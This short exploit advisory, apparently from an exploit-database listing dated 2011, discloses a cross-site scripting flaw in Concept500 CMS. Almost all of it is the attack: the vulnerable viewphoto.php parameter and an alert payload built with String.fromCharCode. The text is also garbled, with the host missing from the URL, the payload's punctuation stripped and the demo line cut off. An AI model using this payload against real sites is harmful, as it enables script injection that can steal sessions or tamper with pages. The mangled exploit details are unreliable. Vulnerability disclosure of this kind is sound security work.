Concept500 CMS Cross Site Scripting

Exploit Title: Concept500 CMS XSS Vulnerability Date: 2011-08-11 Author: Sepehr Security Team Software Site: http://www.concept500.co.uk/ ++++++++++++++++++++++++ Exploit: http:///shop/viewphoto.php?shoph=idXSS&phqu=id XSS: " alertString.fromCharCode88, 83, 83 Demo:...